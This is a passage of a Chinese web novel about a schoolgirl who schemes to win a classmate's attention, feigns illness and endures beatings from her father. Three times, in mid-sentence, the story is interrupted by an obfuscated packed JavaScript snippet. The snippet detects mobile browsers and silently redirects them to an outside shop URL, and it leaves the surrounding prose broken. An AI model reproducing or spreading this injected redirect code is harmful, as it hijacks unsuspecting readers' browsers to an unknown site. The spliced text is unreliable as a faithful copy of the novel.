葛飞灵快速扫完,正巧教室内渐渐热闹,她干脆压低声音回:“只要是你想的,我都会帮你做到。” 第一块垫脚石入坑了。 课间的时候,葛飞灵紧接着去找卓星宇。 “班长,那个班群?” 景浣也坐在座位上,她这次没避开他,故意躲避似乎会适得其反。 “好的你等等,我回宿舍帮你抄下来了。”卓星宇手忙脚乱地搜自己的口袋。 葛飞灵目不斜视,站在卓星宇旁边的过道。 她稍微低垂眉眼的时候,翘卷的睫毛服帖地落下纤细的阴影。 毛巧贞眼神复杂地盯着,穿过众多同学的身影,锁定那位空降、还比她美的葛飞灵。 在转班生没来之前,毛巧贞自诩是和景浣最般配的女生。 尽管景浣对待她和其他人并无差别,但美女学霸的头衔已经够她暗自窃喜好几回。 她觉得景浣迟早会为她长情的守候而感动。 但是现在半路杀出一个有威胁的“情敌”,虽然景浣投入地做着题,并没有瞧她一眼,但毛巧贞就是无来由地恐慌,这么漂亮的脸身为女生的她有时都克制不住痴汉的目光,更别提男生,班长不就是一个现成的例子,只差没把眼珠子粘人家身上了。 这出息。 毛巧贞一边唾弃班长的定力,一边又喜闻乐见景浣的注意力高度集中。 “这就是班群的群号,群主是我,你直接加就是。” 卓星宇捏着纸条给女生,手心有些湿。 “谢谢班长。”葛飞灵官方的语气,接了纸条便离开。 “不用谢……”卓星宇怅然若失。 没多久,佳人又来到眼前。 卓星宇欣喜地抬头,看见葛飞灵将卷子还给同桌,并问:“可以再借一下昨天早读的小测卷吗?” 景浣却丝毫不觉,一副沉迷于做题的模样。 她微不可闻地蹙眉,卓星宇见状忙不迭推一把同桌,“景浣,有人叫你!” “……嗯?”他总算从题海中抬起眸,见到两套月考卷,自然地接过,“不用谢。” 葛飞灵默了几秒,还是将刚才的话重复一遍。 “你是要看遍我的卷子吗?”他话是这么说,但手已经往桌洞里摸测验卷了。 她没接话茬。 等对方找出来后,葛飞灵熟练地道谢接过,一系列动作下来行云流水。 走的时候,隐约听见那两人的谈话。 “景浣,我怎么觉得她重视你的试卷多过你本人……” 他好像笑了,“这不好么。” * 十点下了晚修,教室里讨论题目的学霸不在少数,葛飞灵舍弃了这二十分钟,用来盯紧同宿舍的毛巧贞。 终于等到她起身,似乎准备去卫生间的时候,葛飞灵快步跟上去,出了教室前门拐弯,她轻声叫住对方:“等一下。” 毛巧贞显然认出了她的嗓音,转过头,像被抓到把柄似的神色。 “这么巧,”葛飞灵和她并肩走,“我也去厕所。” “是…挺巧的。”毛巧贞面对美人的主动接近,下意识有些抵触。 不过葛飞灵的下一句话让她敞开了心怀。 “如果成绩排级第一和级第一喜欢你这两样让你来选,你选哪个?” 毛巧贞犹豫了两秒,听上去很想果断选后者但要矜持一下,答:“看情况,如果是高考的话,我肯定选前面那个。” “不算高考在内呢?” “选景浣。”毛巧贞毫不犹豫。 葛飞灵轻笑,月色下她的侧脸明媚动人。 毛巧贞稍微失神。 “我无论何时,永远选择第一个选项,”葛飞灵假装不屑的语气,“而且我真不觉得景浣有哪里能吸引你们的地方。” 毛巧贞愕然,她眼里心里只听见了一个关键的信息:这位存在感十分强烈的新同学居然对景浣不感冒。 “你说的是真话?”毛巧贞不是一般高兴。 葛飞灵点点头。 “那你喜欢什么类型的?”这下毛巧贞仿佛和她认识多年,马上开启小姐妹之间的私密话题。 “我喜欢长相可爱的。”她随口胡编。 毛巧贞又很意外,“原来你喜欢小奶狗啊。” 话匣子一旦打开,后面的事如同下雨般自然。 毛巧贞当晚和她聊了不少,一直到宿舍熄灯之后,躲在阳台外继续倾述。 得知她不仅对景浣没想法,还要帮忙攻略景浣,对方更是把她视为毕生知己。 情真意切首先在友情中显现,葛飞灵静静地听着,逐渐地,自己的灵魂慢慢地好像在脱壳。 “说来说去我还是觉得景浣的好说不完,飞灵,你知不知道我第一次见到他的时候,多少经典词汇都描述不了那种感觉,我当时就心底哇地惊叹,想着怎么会有长成这样的人啊,完全长到我的心上了。” 葛飞灵脑内温习着明天要测的英语单词,面上仍然当着一名合格的听众。 “嗯,然后呢?” 她负责地应着,心里则想,一群恋爱脑。 翌日,高三的周六不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233421|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放假,每隔两周才放一回。高一高二的走了之后,校园更显空荡,平添了几分清冷。 葛飞灵开始发配符合人设的任务。 一个和她同宿舍,一个和她同桌,完美错开相冲的时间点。 她在宿舍给毛巧贞出谋划策,在教室则可以和柴佳纸上商量。 毛巧贞告诉她,景浣一般中午留在教室十五分钟,等避开了吃饭高峰期才去食堂。 “通常这个时间你在干嘛?”她反问对方。 毛巧贞说:“看作文素材放松,顺便欣赏美色。” 葛飞灵觉得她是浪费时间。 “明天中午你去请教他难题,把他中午的十五分钟占掉。” “这样会不会不太好?他肯定有自己的学习计划。” 葛飞灵平视她,说:“你不霸占他的时间,多的是人过来占着他。” 毛巧贞顿悟。 周六中午果然拎着一套模拟卷来问,景浣的前桌走了,她就坐在那座位和他讨论这条难题该如何解。 唯一美中不足是卓星宇不时参与进来。 葛飞灵算着时间,一如既往地做笔记。 同桌稍显焦躁,她不忘平抚和安慰,在草稿纸上写:【稍安勿躁,如果她越界了,你的机会就来了。】 柴佳微怔,这才消停下来。 她在后面并不好观察景浣的表情,只能通过对话声,以及毛巧贞和班长的神色来判断他的情绪与态度。 毛巧贞:“这解法会不会太复杂了?” 景浣:“会吗,老师前天讲过。” 卓星宇:“对我还记了那道题来着,相似度还蛮高的。” 分针从“12”缓慢地指向“1”。 十二点零六分,景浣解决了毛巧贞的题目,继续埋头做自己的事。 葛飞灵没再撕便利贴,直接在本子最后一页另起一行。 1.同班女同学找他提问,他能热心友好地帮忙。 2.全程没有表现出被占用时间的情绪,不是藏得太好就是他不介意。 3.只是时间太短,但时间短又有两方面因素: (1)毛巧贞找的题过于简单。 (2)他察觉到毛巧贞的企图,故意迅速解决掉难题。 补充,后者需要脑力支持。级第一使其成立。 葛飞灵记到这儿,忽然清晰地明白了徐柔的不可能。 第一,徐柔不是同班同学。 第二,徐柔的算盘太早败露,她不应该一来就打着想泡他的旗号告白。 一步错,步步错,直至后面都没法挽救回来。 总结:景浣是大众款好相处的人设,性格大方开朗,待人春风和煦。 但如果一旦有人动了想谈恋爱的心思,他一定会慢慢疏远。 这种人原则极强,外人难以撼动,这也是他软硬不吃、女生难追的原因。 同班同学更有机会从朋友往上攻破,外班的很难突破这层面。 徐柔的运气不好。她会重新考虑下一步的方向。 葛飞灵搁笔,这时指针转向了数字“3”,景浣准时收拾东西,和卓星宇还有其他几个男生结伴去吃午饭。 教室外,他和男生们说说笑笑,脸庞被正午的光照得耀眼。 一点儿也看不出来曾有多少女孩拜倒在他的校服裤下,被拒绝得惨兮兮。 5. 5% 隔了两天,葛飞灵把群号给徐柔。 “这是实验班的班群,你先把朋友圈乱七八糟的清理一遍再加,至于群里有没有景浣,看你运气。” “怎么跟说好的不一样,”徐柔嫌弃地看着那张皱巴巴的纸条,“你为什么不直接给我微信号?” “他不肯给。”葛飞灵说。 “……好吧,唉,男神好难接近。” 葛飞灵不忘叮嘱她,“你自己把握好那个度,别咬得太紧,你进群他们会以为你是我,能潜水就潜水吧。” 徐柔“嗯嗯”点头。 这几天葛飞灵除了让毛巧贞和柴佳问题目,她还特地蹲了四天的食堂。 摸清了景浣的作息时间,早上在六点二十到六点半这个区间吃早餐,中午毛巧贞已经说过了,晚上则不太稳定,可能要洗澡的缘故,他有时洗完澡再吃晚饭,有时又相反。 观察获得的信息,她同样记在本子上。 葛飞灵之前让毛巧贞去提问,和柴佳的错开,但是两人的效果似乎都不太理想。 毛巧贞第二次去问,比第一次有进步但也有限,十分钟。加上卓星宇的干扰,并不如毛巧贞幻想中美好。 柴佳相对好些,两次时间都比毛巧贞长。 葛飞灵不可避免地想起那天跟徐柔嘲的话,景浣还真就喜欢“救风尘”,无论是流浪猫抑或是胆怯的女生,他给予的关怀更多。 她有了新思路,去医务室借了眼药水,上午第三节课课间提前跟柴佳说好,“待会儿你去装可怜,说成绩太差被人瞧不起。” 柴佳一时没跟上她的思维:“?” 教室人声鼎沸,葛飞灵望着同桌过长的刘海,依旧压低声音,说:“卖惨懂吗?会哭的孩子才会有奶吃。” “……可我没被这样对待,怎么哭得出来……?” 葛飞灵早有预料地将眼药水摆到她面前。 柴佳默了一瞬。 “这是欺骗……” 葛飞灵微皱眉,“你现在来跟我谈诚信问题?难不成心上人会因为你实诚而喜欢你么。” 柴佳无法,只能收下那瓶眼药水。 “对了,还有一点。”葛飞灵忽地又端详她,从笔袋里拾起剪刀,让她弯下头。 柴佳疑惑地照做,一双微凉的手托上她的脸颊,剪刀伸到眼眉。 “我帮你修修刘海。” 葛飞灵凝视她,固定好一个位置吩咐她别动,左手拿了张废纸接碎发,右手握着的剪刀缓慢地移动。 柴佳怔愣,望着近在咫尺的人,忍不住呢喃:“你真的好漂亮……” 葛飞灵没理,一点点将同桌的刘海剪短,剪到恰好盖住粗糙的眉毛。 其实柴佳长得不丑,换个发型会更突显她的脸型优点。 “你是短宽脸,没有刘海比较适合你,记得把眉也修一下。” 柴佳呆呆地点头应和。 修完刘海,葛飞灵又借梳子给她,“自己梳,顺便把垃圾扔了。” 柴佳乖乖地去扔掉包裹碎发的废纸,回来后开始梳头发,残留的细发落在鼻翼,有些痒。 这把梳子还能折叠打开隐藏的镜子,柴佳怔怔地看着镜中的自己。 她感觉葛飞灵应该是很爱美的人,但是对方从来没在教室照过镜子和梳头发。 而且神奇的是,同桌一直都干净整洁,长发一丝不苟,即使在上完体育课之后。 景浣也没有她这么夸张,体育课上完照样短发被吹得凌乱,校服半湿。 “你是怎么做到的?”柴佳一不小心把真心话说出来。 “什么怎么做到,”葛飞灵有时不喜欢反应慢的人,她会觉得烦,“想做就做到了,看你想不想花心思在上面。” “这样。” 柴佳对着镜子,陷入沉思。 * 中午一放学,葛飞灵去拉走毛巧贞。 “但是我想……”毛巧贞始料不及,盯着某个方向犹豫。 葛飞灵给她打定心剂,“班长在啊,你怕什么,陪我去吃饭吧,我跟你说些事情。” “那,那好吧。” 毛巧贞收拾书包,念念不舍地跟她去赶高峰期的饭堂了。 “其实有时我会怀疑,他是不是根本对女孩子没兴趣,不然为什么那么多人最后都失败了。”一路上,毛巧贞不停地倒苦水。 这问题徐柔也骚扰过她。 葛飞灵懒得跟徐柔讲道理,因为讲了也不懂。 如果对象是毛巧贞,她倒愿意讲一下。 “认知错了。”毛巧贞愣了下,葛飞灵继续说,“你难道不觉得他有点像营销出来的么?” 毛巧贞不解。 “不是因为他不近女色那些人才前仆后继,而是因为这个名声传出来了,大家才对他前仆后继。” “可是他也确实是这样啊。” 葛飞灵:“我只是纠正,如果你一直抱着他好难攻克的念头,那你真的攻克不了。” “这算心理暗示法吗,我好像在书上看到过。” 葛飞灵“嗯”了一声。 实际她在洗脑,以后有利于摆脱两块垫脚石。 下午两点回到教室,柴佳难掩喜悦。 葛飞灵一落座,同桌便迫不及待地递过中午和景浣的全记录。 【我照你说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233422|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的做了,问完难题就假哭,他果然过来安慰我,问我怎么了,很担心的样子。当时班上只剩几个人了,班长居然提前走了。然后他就递过来纸巾,让我先擦眼泪,慢慢说。他真的好温柔,我都分不清自己流的是眼药水还是感动哭了,我磕磕绊绊地说了一大段,我也不知道他听清楚没,不过他一直陪我陪到了十二点半,食堂没饭了,他还去小卖部买了面包和饮料送我,然后送我到宿舍门口。】 葛飞灵看完,虽然重要的点没说,但还是知道了一个关键点。 卖惨十分见效。 他确实吃这套,比其他有的没的方法管用多了。 “挺好的。”葛飞灵给予评价。 教室陆续到齐,卓星宇抱着快递的小纸箱,特意早来几分钟。 “葛同学,这是你中午托我拿的快递,没拿错吧?” 卓星宇把快递轻轻地放到她的桌上,柴佳的惊讶溢于言表,“原来是你……”。 葛飞灵警告地瞥了她一眼,这才没了声。 “班长,辛苦你了,非常感谢。”葛飞灵看回卓星宇,带了点笑。 “不、不用谢。”卓星宇有些飘飘然,脸皮薄得要泛红,他一边摆着手一边马上回座位。 葛飞灵收敛笑,将快递盒子堆到桌脚,同桌这时补全那句话:“原来是你支开了班长。” 她不置可否,“碰巧而已。” 柴佳抿着唇瓣,明显不信她的话。 “你今天做得很好,保持这个人设不变。”葛飞灵稍后将同桌的记录简抄到笔记本。 柴佳:“那我岂不是得天天滴眼药水?” “随你。”葛飞灵头也不抬,“别太频繁,不然很假。” “……好的。” 葛飞灵经过前面两人的实践经验,大概模拟好第一次接触。 首先找到独处的时间。 或者…… 索性光明正大地接触。 主要是前者独处的时间不好找,葛飞灵算了下第三次月考即期中考的日期,日子不多了。 前期研究的耗费太长没意义,实践出真理。 最后一节自习结束。 虽然他晚上的作息不定,但基本放学会留在教室十几分钟,这在实验班里是常态。 葛飞灵拿着练习册过去找他。 柴佳那边说过还好,毛巧贞见她走近景浣,眼内升起可疑。 “这道题,”葛飞灵打算回宿舍再安慰她,先将习题放到景浣桌面,问他,“这道题我今天解了很久,你能帮我看看吗?” 景浣正训练语法填空,被一本伸到眼前的练习册打断,笔尖稍作停顿,他抬眸。 6. 6% “你花了多长时间来解?” 他第一反应并没有接过练习册,而是答非所问。 脑海里在回想毛巧贞她们和他相处时的避雷区。 葛飞灵观察他的表情,顿了几秒,回:“两个小时左右。” “不值得。”景浣和她对视,眉目英挺,给她分析利益得失,“这个时间你都可以做完两个科目的作业了,你应该先放一段时间再回头看。” 这跟葛飞灵预料的情况有出入。听他的意思,似乎是不想教她。 卓星宇在旁边欲言又止。 练习册停在半空中迟迟没有碰到桌面,葛飞灵垂下眼眸,问了他一句:“所以你能看下这道题么?” “教你是可以教你的,只是我希望你以后能纠正这种学习方式,这样学习才能高效率。” 葛飞灵一瞬间闪过无数念头。 这人的态度对她跟别人有点区别,但她分辨不了这种区别是厌烦还是什么。 不如顺杆子往下爬。 换做平时葛飞灵肯定头也不回地走,她在学习上并不差,轮不到别人来教她如何学习。 傍晚夕阳的光细碎,教室里人数逐渐减少。 对方有不达到目的的坚持。 葛飞灵缓缓呼吸,回:“好的,我以后会注意,请你帮我看一下这道题,谢谢。” 景浣清俊明朗的脸庞露出笑容,笑眼微弯:“不用这么客气。” 他终于接过题目来审题,暂时放下手中的英语习题。 “原来是这题,”他一边看一边换铅笔来帮她勾出题目中的关键信息,“我昨天也花了不少的时间做它,你先坐下吧,我慢慢给你讲。” 景浣指向前面的空座位,示意让她坐下。 葛飞灵颇为不适地坐在了别人余热还未散的座位上,她刚抬脚调整自己的坐姿,搁在桌面上的手腕忽然被笔帽轻轻地敲了一下。 她反射性地后缩,挨打的阴影早已刻在内心深处。 ……是她太敏感了。 景浣正大方自然地望着她,嘴角微翘,“不是要讲题吗,怎么走神了?” 葛飞灵控制着动作,说不好意思。 景浣用一个小动作拉回她的注意力之后,便开始认真仔细地讲题。 葛飞灵分散一半的精力听着讲解,另一半则专注地端详他的神态动作。 他是她见过表情最亲疏合理的人,也不知道练了多少年才练成今天这个样子。 而且最麻烦的是,他对所有人都是这样,很难从他的表情中识别出有用的信息。 “函数一般先求导,不过这道题求不了,你可以先积分。”景浣在练习册上写写画画,不小心碰到了她按住练习册的手,他没觉得什么,但在葛飞灵这边,压紧练习册的指尖死死抵住桌面,好不容易忍住颤栗没缩回去。 是她低估了对方的亲和力属性,过程太煎熬了。他怡然自得,男女之间的肢体接触也不带丁点旖旎。而她做不到,光是接近一个男生就让她记起所有过往挨打的耻辱。 “大概就是这样,你还有什么问题?”景浣条理清晰地讲完,抬起头看她。 却发现面前的女生眼中若有所思,但显然魂不在练习册上。 景浣打了个响指,扬唇笑:“级第二,该回神了。” 葛飞灵的眼神闪烁一下,瞳孔聚焦,视线缓缓转向他。 如果再挑战一下极限呢。 “抱歉。” 她开口致歉,迅速接过那本练习册。 起身的时候身形有些摇晃不定,景浣的目光还未从她身上撤离。 垂在两侧的手臂悬空着,葛飞灵突然一个趔趄,左手“嗒”地撑在景浣的桌沿上,但是身体往另一边相反的方向倒。 景浣果然手疾眼快地去拉她,但一开始只拽住了她的校服衣摆,当发现她的身体还在倾倒时,他只好马上改抓她的手腕。 抓牢的一刹那,她微抖了一下。 卓星宇也想去扶她,但因为距离比较远,只能看着景浣先一步扶住。 “你没事吧?”掌心里的手腕过于纤细,导致景浣没有怎么使劲。即便如此,他也直观地感受到她的体温偏低,手很冰凉。 葛飞灵不算完全在装,她的确很难受,压下自己的心理抵触,任由对方握紧她的手。 她天生怕热不怕冷,所以景浣的手掌再温暖,她却觉得像赤脚踩在荆棘上一般。 童年的阴影已经让她的身体恐惧所有男性的接触。 “我有点低血糖。”葛飞灵靠通过捏练习册来释放自己的难受。 “需要我陪你去医务室么?”景浣不大放心,看了一眼钟表问她。 时间应该来得及。 “不用,谢谢。”她已经快到极限了。 景浣望着她,确保对方能站好之后,慢慢放开了手。 他不忘善意地提醒道:“身体是学习的本钱,还是多注意的好。” 葛飞灵闭了闭眼,“嗯”了一声。 她的脚步起先略慢,后面越走越快,像是撑不住似的逃回座位,趴在桌面,将自己蜷缩成一团。 葛飞灵又回忆到以前。 幼时小男孩对她信誓旦旦,说姐姐我要保护你一辈子。 他为了讨她欢心,去爬树摘芒果。 结果他从树上掉下来,那是她第一次被葛宏康打,生生用棍子把她的肋骨打断两根。 之后葛宏康学聪明了,改用藤条抽,即使抽得皮肉破绽也不会伤及骨头,倒贴医药费。 …… 葛飞灵趴在桌子上睡了很久。 柴佳不知所措地抚慰了她几句,已然忘了嫉妒的事。毛巧贞也是如此,见她状态不佳,去小卖部给她买了一堆零食回来。 “飞灵,你别不吃饭啊,这样低血糖会更严重的。” 葛飞灵一边想今晚的作业该做哪样,一边漫不经心地应着。 她不是一直都趴着,中途教室没人的时候,她争分夺秒地赶了会儿作业。 装病弱人设,也没必要一直装。 晚修的前半个小时,六点整,景浣提早几分钟回教室,手里握着白色的小药瓶。 他看见卓星宇伸长脖子往某个方向盯的担忧神情,顺着方向望过去,葛飞灵仍趴在桌子上,跟他走时记得的姿势并无差异。 景浣敛住表情,坐回座位,将那瓶药给了同桌。 “这是……?”卓星宇看着推到他面前的药瓶,有些懵。 景浣意有所指地,瞄了后面一眼说:“治低血糖的,给你借花献佛。” 卓星宇心里想什么脸上全写出来了。 “你这是什么意思?你帮人买的,那你自己去送啊。” 景浣笑了笑,“我得避嫌啊。” “再说,你不是喜欢新同学么?” 卓星宇:“……” 他怎么啥都瞒不过同桌的火眼金睛。 卓星宇丧丧地哼唧,“你都知道了呀。” 景浣“嗯”了一声。 “那你,”卓星宇突发奇想,“那你岂不是班上的女生谁喜欢你,你也能猜到。” 景浣整理着桌面,不咸不淡地继续“嗯”了声。 卓星宇小心翼翼地问:“那你为什么还对她们有求必应?高冷一点让她们趁早死心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233423|197627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是更好?” 景浣好笑地说:“她们又不是我的仇人,我干嘛要冷着脸对她们?” 卓星宇挠挠头。 不一会儿,他终究接过了那瓶药,跟同桌商量:“晚上我请你吃夜宵,就当这药是我买的吧。” “可以啊。”景浣微笑着答应。 * 晚修后回宿舍,葛飞灵刚和毛巧贞聊完,拎着快递去找徐柔。 方才毛巧贞的一句话让她稍微深入思考了下。 “我发现班长好像对你有意思哎,不过如果换了景浣来给你送药,就算是飞灵你,我可能也会吃醋的。” 葛飞灵当然早就清楚班长的暗恋,所以她正好利用这一点来做些小事。 出乎她意料的是,毛巧贞还有柴佳对景浣的占有欲太过了。 葛飞灵无法苟同与理解。即使真成了伴侣,对方也不可能像宠物一样逆来顺受,更何况这种提前把对方归入自己所有物的。 她觉得这议题没什么可挖掘的点,只是她们不成熟的欲望在作祟。 葛飞灵走到徐柔的宿舍,把人叫出来。 “你真帮我拿了啊,谢啦。我今天中午点了外卖,所以没空去拿快递。”刚换好睡裙的徐柔推开门。 徐柔一边暴力拆快递,一边陪她在喧闹的走廊上瞧星星。 不等葛飞灵问,她就自己先说起景浣:“我去加那个群了,可我不知道哪个是景浣,排除了一圈还剩好几个疑似他的。” 葛飞灵说:“那你一个个全加了试试。” “这方法我也想到了,然后才发现实验班那些书呆子木头,神他妈性冷淡,居然没一个肯加人。我找出四个人来加,分别申请加好友十次,十次那四人都没同意。” 葛飞灵:“……” 徐柔操之过急了。 “你先别加了,你在毁我的名声知道么。” 徐柔很不满,“我全照你说的做了啊,潜水、不吭声、默默找人加。” 葛飞灵揉了揉太阳穴。 “你顶着我的名字去加人,屡拒屡加,谁都会觉得这是一个花痴。” 徐柔愤然,说:“你够了啊,我也不想的,谁让他们总是不同意我的好友申请。” “其实微信没什么用,他似乎不怎么玩手机,估计没看到你的申请。”葛飞灵转换思路来安慰她。 “那我怎么才能接近他,我跟你又不一样,升进实验班的鸡汤就那么几个。” “实验班的女生,我数过,”葛飞灵随口一提,“算上我只有九个,你的几率不比她们低。” “真的吗?”徐柔随之浮想联翩,“我信了啊,你可一定帮我追到他。” 葛飞灵淡淡地应了声。 尽管徐柔的胜算不大,也得要稳住她,以备不时之需。 周六中午放假。 葛飞灵打算留在教室,先将周末布置的作业写完。顺便观察景浣,他周末留教室的时间不长,基本收拾好书包就走了。 毛巧贞随即跟上和他聊天,抓紧这顺路的几分钟。 从这个角度上来看,他们倒是挺配的。 长相和家庭条件以及成绩,毛巧贞都很不错。 如果她是景浣,他大概会选择毛巧贞来当女朋友,算是门当户对。 葛飞灵不免想到,如果毛巧贞能够成功的话,估计就没她什么事了。 先走一步看一步吧。 她一直呆到下午写完全部作业,然后换上衣服,没拿书包,直接去店里兼职。 兼职的这家奶茶店老板看中她漂亮,才破例收下她一个未成年的高中生,想让她穿女仆装做服务生。 7. 7% 葛飞灵临时和一个穿布偶装的男生换了职位,尽管赚得少了些,但总算躲过了丢人现眼。 老板自然愤怒她的擅作主张,但是对着她的脸骂不出什么话,也就随她了。 除了小心眼的老板不时克扣工资,葛飞灵觉得这份兼职没其他缺点了。 她穿着笨重的熊猫布偶装,向着街上步伐匆匆的路人们发传单。 从下午站到晚上八点,葛飞灵只吃了只面包填肚子。 老板这回又扣了她二十块钱的工资,说她的站姿不好。葛飞灵没反驳,一声不吭地接过只剩六十的现金。 之后葛飞灵拖着疲倦酸痛的双腿回家。 爸坐在沙发上看电视和弟弟聊得龙心大悦。 看见她回来,葛宏康眼里闪过一丝不痛快,不等她换下脏鞋,立刻使唤她:“你妈在做饭呢,快去把中午的碗给洗了,然后帮她切菜,顺便把地拖了,再去收衣服晾新的。” 她想坐一会儿,脚未沾地的弟弟眼尖地盯牢她,状似无意地说:“姐姐好懒啊,吩咐她一点小事都不肯做,整天想着偷懒臭美,以后怎么嫁得出去。” 葛飞灵抿紧唇。 果不其然,下一秒葛宏康就被挑起了火气,“阿岭说的对,像你这种又懒又馋的贱人,哪个婆家会想捡你回去?!” 说着他又去摸鞭子。 葛飞灵真的累了。她没有精力再争一时意气。 顺着对方的心意跪下来,葛飞灵手脚冰冷,机械地道歉:“爸,对不起,是我的错,我现在就去帮妈妈的忙,别打我了。”她不想被打得连明天的兼职都去不了。 葛宏康吃软不吃硬,这才收回长鞭,从鼻孔哼出一声: “今天居然学乖不嘴硬了?快去干活,我养你不是为了让你舒舒服服的。” 葛岭在他背后得逞地笑。 即使是秋天,地板也冷得渗人,葛飞灵艰难地站起来,腿脚僵硬地往厨房走。 坏掉的吸烟机抽不走油烟,妈一边炒着菜一边剧烈咳嗽,关心她道:“飞灵,你爸没打你吧?” 葛飞灵摇摇头。 “那就好那就好,你爸人不坏的,你多体谅他,他最近上班蛮辛苦的。” 葛飞灵扯了下嘴角。无数次想质问的那句:难道你上班不累么,他上班累就可以随心所欲地朝子女发泄?不对,是只朝她一个人发泄,是她活该。 质问只会惹来挨打,她终究选择了沉默。 葛飞灵先替桂美娣切好土豆,再去洗那一摞积攒的碗,她洗到最后一个时,脑袋忽然剧烈疼痛起来,视野泛白,周围的一切天旋地转。 瓷碗“砰”地一下摔到地上。 “飞灵你怎么了?别吓妈妈啊。” 葛飞灵恍恍惚惚地想,好的不灵,坏的灵验。骗别人低血糖,低血糖真来了。 手臂和脸忽地又一阵钻心的疼,密密麻麻地袭来。葛宏康挥着藤条过来辱骂她,“妈的,又装生病是吧?我让你装,让你偷懒,还护着脸是吧?看我不抽烂你的脸!” 葛飞灵闪躲的时候不小心扎入地面的碎片,霎时掌心温热的液体溢流。 有时候她真的不明白,自己到底做错了什么让爸这么对她恨之入骨,讨打不讨赏。 …… 葛飞灵在沙发上苏醒。 已经是半夜十二点,家人都睡了。她睁开眼,胳膊稍一牵动就疼得呼吸停滞。 葛飞灵第一反应是翻出裤兜的小镜子。 “……” 还是毁容了,葛宏康打得特别狠,眼角到下巴都有红肿的疤痕,在白皙的皮肤上刺眼得很,丑绝。 葛飞灵颓废地放下镜子,余光扫到两扇紧闭的房门。 她本来也有一个房间,只不过在葛岭出生后,那间房就不属于她了,直至现在全然没了她的位置。 茶几上夹着一张纸条,是妈给她留的: 【飞灵,电饭煲里有饭,你热一热再吃。】 葛飞灵扫完那张纸条,静了一瞬,然后撕碎纸条。 日复一日,她在这个家活得不如一条狗,连狗也有按时吃饭去医院的权利。 葛飞灵原本想给徐柔发消息,手指忽地停住。 反正挨也挨打了,有何必要再像以前那样遮遮掩掩。 好像遮了她就能掩盖被打的事实一样,不如利用这身伤痕博取同情。 第二天一早,葛飞灵调了闹钟准时起床,翻出口罩,继续去奶茶店兼职。 到了店里,她摘下口罩,其他店员们看到她的伤,无不大吃一惊。 几个暗恋她的男生更是心疼万分,想安慰又怕吓跑她的样子。 葛飞灵坦然自若,像个没事人般,平静地请求老板: “老板,我今天可以工作到傍晚六点,能多给我一些钱吗?” 她舍去了平时回家洗澡的时间,打算直接回校洗。 “……能、能,我给你加工资就是,你去买点药敷一下脸吧,怎么这么不爱惜自己的脸啊。” 中年男人见不得年轻小姑娘的破相,尤其这么漂亮的一张脸蛋。 葛飞灵低下头,更加凸显出可怜无助的单薄形象。 老板最后又给她加了两小时的工资。 * 中午,葛飞灵顶着烈日勤勤勉勉地发传单。 透过布偶两只眼睛里的洞,她忽然望见对面停车场的奔驰下来一个熟悉的身影。 景浣和一对衣着得体的夫妇走向口碑五星的餐厅。 应该是他的父母。葛飞灵看了几眼,很快收回目光。能在这里撞见他,她不觉得奇怪,毕竟附近这一带是有名的商业区。 葛飞灵继续派着传单。 只是脑海一直回放他和家人相处融洽的画面。真好,这时她难得羡慕起一个人,羡慕他的家庭关系。她没有看错,培养出景浣这样落落大方的性格,离不开富裕开明的父母的功劳。 葛飞灵裹着闷热又沉的布偶,从清晨忙活到晚上六点,收了比往日厚一倍的工资。 一中的住宿生统一规定在周末晚回校。 她做完兼职,赶上了拥挤的公车,所幸天气渐凉,厚重的校服外套刚好盖住了她手臂上的伤。 葛飞灵扯着伤,慢吞吞地编辑了一条信息。 6:29,葛飞灵及时赶回教室。实验班比其他班的晚修规定的七点要早半小时,但是昊磷已经站在教室外勘察许久。 全班到齐了,就差一个她。即使是踩点抵达,昊磷也没放过。 他将人截在教室外,晃晃手机显示的电子钟,“你看看现在几点了?” 葛飞灵戴着口罩低眉。 昊磷正要训斥她没有时间观念,口罩上那双明亮的眼眸忽地转动,溢出泪水。 内心警钟甚至来不及敲响。昊磷无奈又不得不放轻声音说:“好好的怎么又哭起来了呢,老师欺负你了吗还是语气太重?你这姑娘太娇气也不好啊,以后出了社会谁还会像老师一样照顾你的心情?” 葛飞灵抽抽噎噎,“老师对不起,是那趟公车来得太晚了,我也不想迟到的。” “行了,你进去吧。”昊磷叹了口气,懒得为难这娇弱的女学生。 葛飞灵乖顺地进去。 教室灯光敞亮,实验班的氛围严格又自律,并没有因为一个人的走动而好奇抬头。 葛飞灵算准时间走入第三条过道,经过景浣的桌子,她不假思索地晕过去。 脑袋直撞地板无疑是鸡蛋碰石头,但葛飞灵硬生生扛下这痛,闭上眼睛装作昏迷不醒。 班里马上涌起一阵骚动。 